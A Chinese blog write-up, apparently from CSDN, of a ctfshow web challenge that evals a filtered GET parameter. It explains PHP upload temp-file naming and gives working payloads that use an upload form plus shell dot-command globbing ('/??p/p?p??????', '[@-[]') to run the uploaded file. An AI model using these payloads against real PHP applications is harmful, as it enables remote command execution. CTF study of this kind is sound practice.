CTFSHOW 红包题第二弹 web_ctfshow 辟邪剑谱_Je3Z的博客-程序员秘密

技术标签: ctf  web  

利用临时文件的命令执行

临时文件的命名规则

在上传存储到临时目录后,临时文件命名的规则如下:
默认为 php+4或者6位随机数字和大小写字母
php[0-9A-Za-z]{3,4,5,6}
比如 :phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。

PHP上传机制

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。

在这里插入图片描述

<?php
#error_reporting(0);
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_红包题</title>
</head>
<body>
    <center>
    <h2>ctf.show_红包题</h2>
    <h4>where is the flag?</h4>
    </center>
    <!-- hint:?cmd= -->
    <?php
        if(isset($_GET['cmd'])){
    
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
    
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
    
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

</body>
</html>

if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
    

可以用p字母,有蹊跷。。。。
然后用的方法就是执行临时文件。

<!DOCTYPE html>
<html>
<body>
<form action="http://356c8675-3004-4ae6-8ea1-0d372a6f683b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

将这个写入题目html,然后抓包
在这里插入图片描述
linux .(点命令):读取并且在当前的shell中执行文件中的命令
source命令可简写为一个点.。

?cmd=?><?=`.%20/??p/p?p??????`;

后面是搬的p神的一些东西
在这里插入图片描述
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@与[之间:
在这里插入图片描述
那么,我们可以利用[@-[]来表示大写字母:
在这里插入图片描述
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

index.php?code=?><?=`. /???/????????[@-[]`;?>

在这里插入图片描述

题总结
题上生成的临时文件名格式是php[A-Za-z]{6}
然后每次请求,临时文件都会变(之前上传的文件就被删除)
在这里插入图片描述

在这里插入图片描述

然后这个题用不了p神的那个payload,被过滤一些字符。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/jvkyvly/article/details/118734918

智能推荐

Android Button 的默认隐藏属性_button 隐藏属性_小码农·李的博客-程序员秘密

最近发现在默认添加Button控件的时候,text属性上会默认使用全部大写的英文。那么想要原文展示应该设置那个属性呢?特此记录1、在Android开发中,会常常用到Button这个控件,但在设置text文本显示的时候,跟我们想要的效果不一样。2、如在xml中使用Button控件的时候:android:id="@+id/btnLogin"android:layout_width=“match...

路由器04--OPKG_aoyi2011的博客-程序员秘密

1.简介https://oldwiki.archive.openwrt.org/doc/techref/opkgOpkg 是一个基于 ipkg 的轻量级的软件包管理系统,主要用于嵌入式系统,目前应用opkg的有Open WRT 和 Open Embedded。1Opkg的详细使用方法可以参考OpenWRT的 WIKI页面,不再赘述,本文将重点解释opkg的工作原理。...

【unity】高亮物体_unity 高亮模型_DJames23的博客-程序员秘密

脚本及效果文件下载:链接:https://pan.baidu.com/s/1UU1j976qK_dfPA4PKr8W4w提取码:yy04使用方法1.导入unitypackage2.在Main camera上添加 HighlightingEffect脚本3.给需要高亮的物体添加 HighlightableObject脚本4.编写High.cs脚本并将其挂载到任一物体(比如Light)上,脚本如下:...

C++万能头文件(真心佩服!)_我自是年少韶华倾负的博客-程序员秘密

#include&amp;lt;bits/stdc++.h&amp;gt; 调用此头文件相当于//c#ifndef _GLIBCXX_NO_ASSERT#include&amp;lt;cassert&amp;gt;#endif#include&amp;lt;cctype&amp;gt;#include&amp;lt;cerrno&amp;gt;#include &amp;lt;cfloat&amp;gt;#include &amp;lt;ciso646&amp;...

Tomcat启动startup.bat闪退和JRE_HOME错误_zJianFlys的博客-程序员秘密

先是报个错,无法启动,基本意思就是64bit的Tomcat无法安装在32bit上去,但是我这个电脑是64的,网上搜了一下,是jre的问题,一会再写个安装问题的解答,先说这个。配置好Java环境变量后(还有JRE_HOME ,值为jdk下jre路径,网上是这么说的我配置没好用,先配着吧,可能别人会好用呢。)启动Tomcat(双击Tomcat的bin目录下的startup.ba

机器学习(二):感知器算法剖析及Python实现_罗森布拉特感知器学习算法_远观钱途的博客-程序员秘密

前言:上一篇已经初步介绍了机器学习相关知识,简短介绍了机器学习的分类等等,本篇介绍其中监督学习中的分类领域下的感知器算法。本篇将循序渐进的实现一个感知器,并且通过训练使其具备对鸢尾花数据集中数据进行分类的能力。早期机器学习-人造神经元在详细讨论感知器和相关算法之前,先大体了解一下早期机器学习的起源。为了理解大脑的工作原理以涉及人工智能系统,沃伦*麦卡洛克和沃尔特*皮茨在1943年...

随便推点

@@[email protected]@-_weixin_41328890的博客-程序员秘密

'@@tx_isolation' is deprecated and will be removed in a future release. Please use '@@transa使用pycharm的时候用sqlalchemy插件链接数据库,出现的以上的报错,解决方法:将mysql升级pip install sqlalchemy==1.1.15...

程序猿捡到一部Android手机是无节操的破解还是高尚的归还_qq_44906504的博客-程序员秘密

程序猿捡到一部Android手机是无节操的破解还是高尚的归还

5G NR Bands定义及频率-频点 Frequency-ARFCN计算 (在线工具)_5g频点计算工具_zzeis的博客-程序员秘密

5G Band及NR-ARFCN的定义于3GPPTS 38.104关于Frequency-NR ARFCN换算,两个外国的在线计算工具可供参考1.https://itectec.com/3gpp-arfcn-frequency-converter/ 支持同时计算5G NR/LTE/UMTS/GSM,比较方便2.http://niviuk.free.fr/nr_band.php...

QT使用程序加配置文件简单修改svg图片颜色_qml 修改svg颜色_洛阳鱼紫怡的博客-程序员秘密

参考文章https://blog.csdn.net/octdream/article/details/79492778 感谢博主https://www.runoob.com/svg/svg-tutorial.html背景 公司目前使用qt制作一些widget界面的客户端程序(做的传统行业),没有使用qml,最近在开发界面的时候,发现要根据不同的现场要配置不同的样式,主要是配置颜色,有些控件上需要加载图片。不同的现场需要加载不同颜色的图片,现在使用的png,jpg这样的图片,...

python语言通俗理解_Python3.x基础学习-自己通俗的理解方式(一)_Navis Li的博客-程序员秘密

学任何语言最开始的第一个编程语句就是打印“Hello World!”,python 也不例外:print("Hello World!")python是一门解释性、编译性、互动性和面向对象的脚本语言(来源百度百科),为什么这么多语言可以学习,偏偏要学习Python呢?因为语法简单,同样的一个功能,Python可能10行代码搞定,java就可能要100行。本人从事的工作又是测试工作,在功能测试花了大部...

Android配置build.gradle编译release包时以日期时间加序列号为Version Code且Version Code自动增长(二)_gradle build release_zhangphil的博客-程序员秘密

Android配置build.gradle编译release包时以日期时间加序列号为Version Code且Version Code自动增长(二)Android官方推荐以一个自然增长的整数值为Version Code,比如以基础数值1为基础,每次发一个release包时候Version值自增长1,于是Version Code以1,2,3,4,5,,,,这种样式的自然整数增长下去。然而有时候,...

推荐文章

热门文章

相关标签